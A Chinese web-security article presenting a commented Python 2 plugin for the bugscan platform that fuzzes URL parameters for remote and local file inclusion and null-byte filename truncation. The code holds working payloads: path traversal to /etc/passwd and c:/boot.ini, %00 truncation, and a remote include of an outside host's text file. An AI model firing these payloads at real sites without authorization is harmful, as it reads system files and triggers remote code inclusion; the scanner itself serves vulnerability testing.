脚本本地/远程文件包含/读取及文件名截断漏洞FUZZ工具详解

2012-07-27 225384人围观 ,发现 3 个不明物体 WEB安全工具

脚本的文件包含漏洞可以说是层出不穷,苦于市面上没有好的功能全面的有针对性的开源工具做参考,现在就文件包含的几种典型漏洞为例子。

http://bugscan.net/manage/plugin/api
插件源码及详细的描述:   http://bugscan.net/manage/node/65

此插件可以本地测试运行当做一个fuzz工具,也可以在bugscan上做为一个功能模块运行
代码如下,要以先看assign函数,再看audit函数,注释详细清晰:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# 脚本语言本地/远程,文件包含/读取, 文件名截断漏洞FUZZ工具
import re
import urlparse
import urllib
import os

# 此函数会在爬虫扫描过程中调用,为任务派遣函数
def assign(service, arg):
    # 只接收链接
    if service != "www": 
        return
    # 分析链接,看有没有查询参数
    r = urlparse.urlparse(arg)
    pairs = urlparse.parse_qsl(r.query)
    # 如果参数过多,超过6个,效率起见,放弃此链接
    if urlparse.urlparse(arg).query.find('=') == -1 or len(pairs) > 6:
        return
    # 返回True表始接收任务,arg是要调度器传给audit函数的参数
    return True, arg

# 远程文件包含的FUZZ函数
def check_rfi(action, query, k, v, normal_res):
    # 要判断两次,第一次,传全参数列表进去,第二次,只FUZZ一个参数,其它参数不传
    for i in range(2):
        # 网上总结的一组经典列表,以(路径,签名)做列表
        paths = [
                ('../../../../../../../../../../etc/passwd', '/bin/(bash|sh)[^\r\n<>]*[\r\n]'),
                ('../../../../../../../../../../etc/passwd%00', '/bin/(bash|sh)[^\r\n<>]*[\r\n]'),
                ('http://cirt.net/rfiinc.txt?', '<title>phpinfo'),
                ('c:/boot.ini', '\[boot loader\][^\r\n<>]*[\r\n]'),
                ]
        for inj, fingerprint in paths:
            qsl = []
            # 第一轮fuzz,完整提交全部参数
            if i == 0:
                for key, val in query:
                    # 如果参数key为要fuzz的,替换为路径
                    val = inj if (key==k) else val
                    qsl.append((key, val))
            else:
                # 第二轮fuzz, 只提交要fuzz的参数,其它不提交
                qsl.append((k, inj))

            # 经合成URL
            qs = urllib.urlencode(qsl)
            url = '%s?%s' % (action, qs)
            # 发送请求
            code, head, res, _, _ = curl.curl(url)
            debug('[%03d] %s', code, url)
            # 开始查询是否包含签名内容, 如<?php <%
            # 如果指定的签名在fuzz过程中找到,而没有在正常的网页里找到,说明漏洞存在
            if re.search(fingerprint, res) and (not re.search(fingerprint, normal_res)):
                # 记录一个报告
                security_warning(url)
                # 中断fuzz
                return True

# 本地文件包含的fuzz函数
def check_lfi(action, query, k, v, files, suffix, flags):
    filter = {}
    # 默认情况下,只测试两轮,像远程文件包含一样
    loop = 2
    # 如果参数有文件后缀,测试三轮,第三轮测试文件后缀截断漏洞(附加%00)
    if suffix:
        loop = 3
    # 开始fuzz
    for i in range(loop):
        for file in files:
            # 如果是第三轮,循环以0开头(0,1,2), 在后缀后加上\x00测试是否有文件名截断漏洞
            if i == 2:
                file += '\x00.' + suffix
            # 构造查询结构
            qsl = []
            # 第一轮,提交全部参数
            if i == 0:
                for key, val in query:
                    val = file if (key==k) else val
                    qsl.append((key, val))
            # 第二轮,只提交FUZZ的参数
            else:
                # next loop only test one argments
                qsl.append((k, file))

            # 构造URL
            qs = urllib.urlencode(qsl)
            url = '%s?%s' % (action, qs)
            # 这里加了一个过滤器,防止产生重复的URL
            if url not in filter:
                filter[url] = True
                # 请求URL
                code, head, res, _, new_url = curl.curl(url)
                debug('[%03d] %s', code, url)
                # 开始查询是否包含签名内容, 如<?php <%
                for w in flags:
                    if re.search(w, res):
                        # 发现漏洞,上传报告,并返回
                        security_warning(url)
                        return True

def audit(arg):
    # arg为assign传过来的链接,为一个带参数查询的URL
    url = arg
    r = urlparse.urlparse(url)
    # 取出?号前面的地址
    action = urlparse.urlunsplit((r.scheme, r.netloc, r.path, '', ''))
    # 取出参数的key
    pairs = urlparse.parse_qsl(r.query)
    # 以下参数,为.NET的内置参数,自动跳过,不判断
    reject_key = ['__VIEWSTATE', 'IbtnEnter.x', 'IbtnEnter.y']

    # 请求action, 保存一个返回内容的快照到normal_res
    code, head, normal_res, _, _ = curl.curl(action)

    # 尝试每个参数是否有远程文件包含漏洞
    for k, v in pairs:
        # 跳过指定的内置参数
        if k in reject_key:
            continue
        # 如果发现参数有漏洞,返回
        if check_rfi(action, pairs, k, v, normal_res):
            return

    # 尝试每个参数是否有本地文件包含读取漏洞, 以当前文件名做为包含文件,传递
    # 获取当前URL的快照,搜索内容来获取有效的用来判断是否利用成功的签名,如:<?php, <%
    code, head, res, _, _ = curl.curl(url)
    flags = []
    for w in ['<\?[\r\n\s=]', '<\?php[\r\n\s=]', '<%[\r\n\s@]']:
        if not re.search(w, res):
            flags.append(w)
    # 没有找到可以使用的签名,返回
    if not flags:
        return

    paths = ['.', '..', '../..', '../../..', '../../../..', '../../../../..']
    files = []
    # 获取URL的文件名
    filename = r.path.split('/')[-1]

    # 保存到要fuzz的文件列表里
    files.append(filename)

    # 保存一组递归目录列表,如./a.php, ../a.php, ../../a.php
    for path in paths:
        files.append(path + '/' + filename)

    # 保存一组递归的完整文件列表如, /../news/show.php, /../../news/show.php
    for path in paths:
        files.append(path + r.path)

    # 开始遍历参数进行fuzz
    for k, v in pairs:
        # 跳过内置的参数
        if k in reject_key:
            continue
        # 如果参数值里面找到类似a.jpg这样文件名特征, 获取文件后缀到suffix里面去
        suffix = ''
        if v.find('.') != -1:
            suffix = v.split('.')[-1]
        # 开始fuzz本地文件包含漏洞
        if check_lfi(action, pairs, k, v, set(files), suffix, flags):
            return

# 测试代码开始
if __name__ == '__main__':
    # 调入SDK模拟环境
    from dummy import *
    # 模拟调试器传入参数,测试审计函数
    audit(assign('www', 'http://demo.webravor.com/kj.jsp?url=lionsky.txt')[1])

更多插件源码和教程,移步: http://bugscan.net/

发表评论

已有 3 条评论

取消
Loading...
css.php